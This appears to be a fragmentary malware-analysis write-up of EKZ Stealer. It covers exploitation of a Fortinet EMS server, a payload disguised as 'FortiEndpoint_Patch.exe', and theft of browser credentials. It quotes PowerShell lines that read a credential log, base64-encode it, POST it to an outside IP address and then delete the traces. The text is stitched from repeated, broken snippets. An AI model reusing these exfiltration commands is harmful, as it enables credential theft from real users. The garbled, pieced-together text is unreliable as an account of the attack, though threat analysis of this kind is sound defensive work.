EKZ Stealer

The attack chain begins with threat actors compromising a Fortinet EMS server through CVE-2026-35616, then deploying EKZ Stealer and exfiltrating harvested credentials using PowerShell.

The decoded PowerShell can be seen in the code snippet below.

... harvesting credentials from Chromium-based browsers and Firefox and exfiltrating them via PowerShell.

EKZ Stealer's compiler-based obfuscations (indirect jumps/calls + control-flow flattening) are deobfuscated using Binary Ninja Workflows

we decoded the PowerShell command ... found that it downloads EKZ Infostealer, disguises it as a Fortinet update (FortiEndpoint_Patch.exe), and executes it.

del C:\programdata\log.txt;del C:\programdata\FortiEndpoint_Patch.exe;

del C:\programdata\log.txt;del C:\programdata\FortiEndpoint_Patch.exe;

It then sleeps for 90 seconds to allow the malware to write collected credentials to C:\ProgramData\log.txt , before exfiltrating that file

with the end goal of harvesting credentials from Chromium-based browsers and Firefox

Separately, eSentire reported observing threat actors exploiting a flaw in Fortinet FortiClient EMS ... to deploy an information stealer called EKZ Stealer ... with the end goal of harvesting credentials from Chromium-based browsers and Firefox

It then sleeps for 90 seconds to allow the malware to write collected credentials to C:\ProgramData\log.txt , before exfiltrating that file

$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\programdata\log.txt"));

$wc = New-Object System.Net.WebClient;$wc.DownloadFile($Url, $Out);

Within a Wireshark capture, the stolen credentials are sent in the body via HTTP POST request (base64 encoded).

exfiltrating them via PowerShell

$wc.UploadString("hxxp://83.138.53[.]110/service/save.php","POST",$b);